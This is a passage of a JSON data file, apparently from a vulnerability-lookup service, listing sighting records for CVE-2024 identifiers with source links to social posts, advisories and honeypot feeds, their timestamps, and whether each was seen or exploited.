"CVE-2024-12451", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgxodpm6at2c", "content": "", "creation_timestamp": "2025-01-30T14:16:44.446921Z"}, {"uuid": "e6ca2bcb-5c92-48bb-b3ed-8aaf191e580f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12821", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgxodrrphc2i", "content": "", "creation_timestamp": "2025-01-30T14:16:46.746850Z"}, {"uuid": "53928745-6984-419d-9e24-e9a599604f01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1211", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgz2xz5iws2r", "content": "", "creation_timestamp": "2025-01-31T03:35:30.252936Z"}, {"uuid": "974daae3-fe38-41f2-b475-b449f021ad8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12822", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgxodu27tl2t", "content": "", "creation_timestamp": "2025-01-30T14:16:49.250230Z"}, {"uuid": "1f63625f-eccd-4243-bca3-1f67be2919b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12760", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lgod4lqjpm2c", "content": "", "creation_timestamp": "2025-01-26T21:01:57.954683Z"}, {"uuid": "e89798cf-0a70-48ea-9939-edaa65cbaf77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12861", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgxodxbeh72e", "content": "", "creation_timestamp": "2025-01-30T14:16:52.648918Z"}, {"uuid": "d436f50b-3903-4abb-b12b-e8d901bc7813", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12444", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113917730431983422", "content": "", "creation_timestamp": "2025-01-30T14:16:59.754512Z"}, {"uuid": "b0305332-bdcb-43ac-924a-7091d49d0627", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12299", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113917730403182409", "content": "", "creation_timestamp": "2025-01-30T14:16:59.210721Z"}, {"uuid": "d0b855d4-00b3-4334-aad9-6f7917011cf4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12320", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113917730417729767", "content": "", "creation_timestamp": "2025-01-30T14:16:59.439880Z"}, {"uuid": "3428c2c8-ca11-4fee-a756-a83b4ecefdc4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12740", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113901463537711437", "content": "", "creation_timestamp": "2025-01-27T17:20:06.498077Z"}, {"uuid": "f1e47abf-c6be-4cd4-b8fc-e8d34754903c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12451", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113917730446370008", "content": "", "creation_timestamp": "2025-01-30T14:16:59.969262Z"}, {"uuid": "ccd7d811-0088-44f6-b836-a7b29ce58178", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12647", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113903698571274333", "content": "", "creation_timestamp": "2025-01-28T02:48:30.689733Z"}, {"uuid": "a2f4c76e-7838-4336-a312-f4f240a207db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12648", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113903698622362108", "content": "", "creation_timestamp": "2025-01-28T02:48:32.619607Z"}, {"uuid": "38669468-a89d-4ebf-9352-0c8b75ebe90a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12649", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113903698684985015", "content": "", "creation_timestamp": "2025-01-28T02:48:32.727504Z"}, {"uuid": "7c769ead-0e0d-4e21-9099-bb71ed31684f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3lgz3kjbihc2b", "content": "", "creation_timestamp": "2025-01-31T03:45:54.250084Z"}, {"uuid": "050717e3-9b43-45f0-877d-0245ca7d4511", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12647", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3lh3hs3wo6d2l", "content": "", "creation_timestamp": "2025-02-01T02:30:10.776656Z"}, {"uuid": "31a538ed-4273-4762-a909-eddc3077594b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12602", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhjjt63xg52z", "content": "", "creation_timestamp": "2025-02-06T16:43:55.463259Z"}, {"uuid": "088925cf-4966-4668-baea-f1667c0e1ea0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12822", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113917789464466680", "content": "", "creation_timestamp": "2025-01-30T14:32:02.479858Z"}, {"uuid": "a52dc697-14b2-4b13-9600-efeb62655147", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12861", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113917789478720881", "content": "", "creation_timestamp": "2025-01-30T14:32:02.599434Z"}, {"uuid": "09f1ee74-4ef5-49b6-a5ef-105958ec008d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12620", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lh3np7oasu2h", "content": "", "creation_timestamp": "2025-02-01T04:15:55.521172Z"}, {"uuid": "871b8038-71f5-4f26-9877-5b6b9dffd130", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12821", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113917789448525935", "content": "", "creation_timestamp": "2025-01-30T14:32:02.719607Z"}, {"uuid": "d6de9bf0-3e9f-402b-bb10-296069f20e35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12740", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgqkcdgfah27", "content": "", "creation_timestamp": "2025-01-27T18:15:45.127729Z"}, {"uuid": "e3867a62-f539-46db-893e-f68524a863a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12171", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lh3np2z4qf2c", "content": "", "creation_timestamp": "2025-02-01T04:15:50.717944Z"}, {"uuid": "14fec1bf-4f7f-4bcf-ba42-3a1b6d9521de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12184", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lh3np5fh7m2i", "content": "", "creation_timestamp": "2025-02-01T04:15:53.525754Z"}, {"uuid": "d7547861-b4cb-4e43-8640-c24f069d59ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12647", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-073/", "content": "", "creation_timestamp": "2025-01-31T05:00:00.000000Z"}, {"uuid": "9253dd0f-e4b4-4c21-addb-c5feeb00a03e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-31)", "content": "", "creation_timestamp": "2025-03-31T00:00:00.000000Z"}, {"uuid": "6f9fe550-511d-4257-863f-1db3933f5b52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12857", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3lgdprzfpec2k", "content": "", "creation_timestamp": "2025-01-22T15:49:25.859669Z"}, {"uuid": "13f6d516-a444-4897-bb6c-e795b86cfa3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12649", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-075/", "content": "", "creation_timestamp": "2025-01-31T05:00:00.000000Z"}, {"uuid": "2ab4a480-a878-484a-934c-6442507aaf34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12600", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113887647773020346", "content": "", "creation_timestamp": "2025-01-25T06:46:35.527642Z"}, {"uuid": "abf91457-8131-4124-892d-91b7f8f46945", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgvyno7slf2e", "content": "", "creation_timestamp": "2025-01-29T22:15:56.549076Z"}, {"uuid": "8a6edb0f-1f00-4bf3-b591-7b2d51930428", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:59.000000Z"}, {"uuid": "ad8ea68d-76d7-4c8d-84c8-aa129c18e1c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12035", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114120991550927514", "content": "", "creation_timestamp": "2025-03-07T11:48:58.427305Z"}, {"uuid": "9a0c00d7-d19c-4200-92a4-64d92af29fdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12922", "type": "seen", "source": "https://bsky.app/profile/cyberalerts.bsky.social/post/3lkpl7nx7xn2u", "content": "", "creation_timestamp": "2025-03-19T06:40:16.079268Z"}, {"uuid": "2575b45c-63f8-4c60-b435-794f58ad8d47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12876", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114120991585951470", "content": "", "creation_timestamp": "2025-03-07T11:48:59.472291Z"}, {"uuid": "d3e81458-29b5-4ead-bbd9-69fe18926ede", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-08)", "content": "", "creation_timestamp": "2025-02-08T00:00:00.000000Z"}, {"uuid": "78eb2ff6-b1b9-4681-8d10-8577c40af41f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12295", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114187757507266850", "content": "", "creation_timestamp": "2025-03-19T06:48:26.064303Z"}, {"uuid": "46233b74-f4ec-4536-930e-f0f9d3622715", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12918", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lix3n5adv62t", "content": "", "creation_timestamp": "2025-02-24T19:32:23.722401Z"}, {"uuid": "6953abed-13c1-44e4-80a7-564b25b6fb32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lj3jyis2h7d2", "content": "", "creation_timestamp": "2025-02-26T14:07:40.508121Z"}, {"uuid": "1e4e0484-0ad6-4de8-890b-ab4a5844d18b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12144", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3ljrxij7o742d", "content": "", "creation_timestamp": "2025-03-07T12:00:05.806435Z"}, {"uuid": "4958ff75-0cb2-4a74-8cbc-fc8e848e11a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12917", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lix3n5ikug2s", "content": "", "creation_timestamp": "2025-02-24T19:32:25.030764Z"}, {"uuid": "ae4e3e5b-c464-4593-9981-2a082363bbe4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12916", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lix3n5stib2q", "content": "", "creation_timestamp": "2025-02-24T19:32:26.337302Z"}, {"uuid": "5ae8d0fb-9a40-4074-903b-fca1f0019d02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12754", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3lhs75sxhjc2n", "content": "", "creation_timestamp": "2025-02-10T03:27:01.227549Z"}, {"uuid": "1903845f-0dc6-453c-8207-e230d6352e26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-12754", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3lhsbiieek22f", "content": "", "creation_timestamp": "2025-02-10T04:08:42.805201Z"}, {"uuid": "69cfdfd7-2bbb-4130-981a-5e5849981bb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12876", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ljrxr4ossd2q", "content": "", "creation_timestamp": "2025-03-07T12:04:56.120695Z"}, {"uuid": "f7857e84-915e-458e-b8be-87d0f99238b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12922", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lkpoa2gon326", "content": "", "creation_timestamp": "2025-03-19T07:34:11.319936Z"}, {"uuid": "8efe96ae-da2b-4f0b-85eb-b075a319d91e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12295", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lkpoa2jy5z2e", "content": "", "creation_timestamp": "2025-03-19T07:34:11.883818Z"}, {"uuid": "88f2b8d2-df03-49c2-86b6-037caeea6e52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12016", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3lktsgno5gq27", "content": "", "creation_timestamp": "2025-03-20T23:00:05.763350Z"}, {"uuid": "0fdbe7fd-6e95-4507-a7a5-4b728c333e84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12634", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ljs6hull3k2a", "content": "", "creation_timestamp": "2025-03-07T14:05:01.696274Z"}, {"uuid": "ca2280af-a1d3-412f-b6eb-e80b4b366541", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-08)", "content": "", "creation_timestamp": "2025-03-08T00:00:00.000000Z"}, {"uuid": "3c710e97-9f81-4978-a9e7-5b40b1d3b47c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-12754", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lht6gbxrl5p2", "content": "", "creation_timestamp": "2025-02-10T12:46:37.571444Z"}, {"uuid": "093e37b2-71a8-49b4-9cbe-8886e91adade", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12133", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113980300155433076", "content": "", "creation_timestamp": "2025-02-10T15:29:19.952517Z"}, {"uuid": "1ed3525c-1a9f-45ce-a68b-fb98fe380b9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12243", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113980300172191548", "content": "", "creation_timestamp": "2025-02-10T15:29:20.248834Z"}, {"uuid": "dfa3fbc2-0652-402e-837f-928b3c9c22cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12754", "type": "seen", "source": "https://bsky.app/profile/decrypt.lol/post/3lhtin76fce2q", "content": "", "creation_timestamp": "2025-02-10T15:49:14.119683Z"}, {"uuid": "49572e5a-54f6-49d0-89c1-2ffa6d0becdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12133", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhtk5k5k4m2i", "content": "", "creation_timestamp": "2025-02-10T16:16:15.064521Z"}, {"uuid": "d2893039-12e5-48fa-9388-ea6ff470a1d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12243", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhtk5mlo7v2n", "content": "", "creation_timestamp": "2025-02-10T16:16:18.020542Z"}, {"uuid": "0ab96344-a564-4900-94ce-26be0523ddd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12754", "type": "seen", "source": "https://threatintel.cc/2025/02/10/hackers-exploit-anydesk-vulnerability-to.html", "content": "", "creation_timestamp": "2025-02-10T10:33:16.000000Z"}, {"uuid": "2c1d5fc6-7438-41c1-aa11-8a8cc18b0043", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12754", "type": "seen", "source": "https://bsky.app/profile/gothburz.bsky.social/post/3lhtr5gb2ex24", "content": "", "creation_timestamp": "2025-02-10T18:21:27.425934Z"}, {"uuid": "6b482522-efe6-4ece-9c83-b3a0bc8aa639", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12754", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3lhtrkyerjc26", "content": "", "creation_timestamp": "2025-02-10T18:29:03.050558Z"}, {"uuid": "3861592a-ffa6-49f4-b711-4deb0c5506b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12133", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhtx7nglsf2e", "content": "", "creation_timestamp": "2025-02-10T20:10:04.777060Z"}, {"uuid": "76438db4-8f46-4cae-b604-0ee415384b99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12243", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhtx7obexr2d", "content": "", "creation_timestamp": "2025-02-10T20:10:08.552983Z"}, {"uuid": "542f74f1-ac39-45ca-a61e-5a5253221262", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12922", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114188229040957227", "content": "", "creation_timestamp": "2025-03-19T08:48:21.219005Z"}, {"uuid": "72f6ceb3-464a-404f-b7d1-d31be12cdaec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3ljahaj26si2n", "content": "", "creation_timestamp": "2025-02-28T12:54:01.924992Z"}, {"uuid": "cbe92299-da15-4de4-92cc-4a82a502fd78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12095", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhulr7dhu42c", "content": "", "creation_timestamp": "2025-02-11T02:17:48.324748Z"}, {"uuid": "21568050-3223-4157-af82-1a3f8178a46f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12161", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhulrc6jzn2q", "content": "", "creation_timestamp": "2025-02-11T02:17:51.252453Z"}, {"uuid": "e49a2fe6-0a65-479f-89d3-b25c719b3c9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12242", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhulrel2bf2q", "content": "", "creation_timestamp": "2025-02-11T02:17:53.877911Z"}, {"uuid": "57c6cdaf-e698-49b2-8f49-b44ef4621758", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12246", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhulrgu7ib2n", "content": "", "creation_timestamp": "2025-02-11T02:17:56.426040Z"}, {"uuid": "b2b429ff-b675-47cb-b82e-9f5dc741b60c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12763", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhulrj6jqa27", "content": "", "creation_timestamp": "2025-02-11T02:17:58.969996Z"}, {"uuid": "f5e1c7ad-fcbc-4e3b-9c1e-8f423e0021b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12764", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhulrlgw3y22", "content": "", "creation_timestamp": "2025-02-11T02:18:01.375587Z"}, {"uuid": "2f3bf04e-c250-4b03-ade5-bb4ac46a3f56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12765", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhulrnpzo522", "content": "", "creation_timestamp": "2025-02-11T02:18:03.745829Z"}, {"uuid": "882363bf-9893-4906-b339-ffb127685a39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12904", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhulrq7qw42c", "content": "", "creation_timestamp": "2025-02-11T02:18:06.097698Z"}, {"uuid": "4c24e0bc-4e2b-48de-b2c0-ec71bd064654", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12019", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lkei5x6ro426", "content": "", "creation_timestamp": "2025-03-14T20:46:21.853564Z"}, {"uuid": "847f3353-e38d-4f33-9c9d-431d85e718ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12245", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lkei5xivf62n", "content": "", "creation_timestamp": "2025-03-14T20:46:23.544410Z"}, {"uuid": "2b99d28b-e079-4741-bbb6-a437c5a0d324", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12599", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113983376697733169", "content": "", "creation_timestamp": "2025-02-11T04:31:42.194603Z"}, {"uuid": "7e2d81ca-651b-42fe-9be7-ac08208823c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12599", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhuvpkjkyr23", "content": "", "creation_timestamp": "2025-02-11T05:15:50.922672Z"}, {"uuid": "4e88f721-31f9-4c9a-9a61-7ca8201c9e19", "vulnerability_lookup_origin": 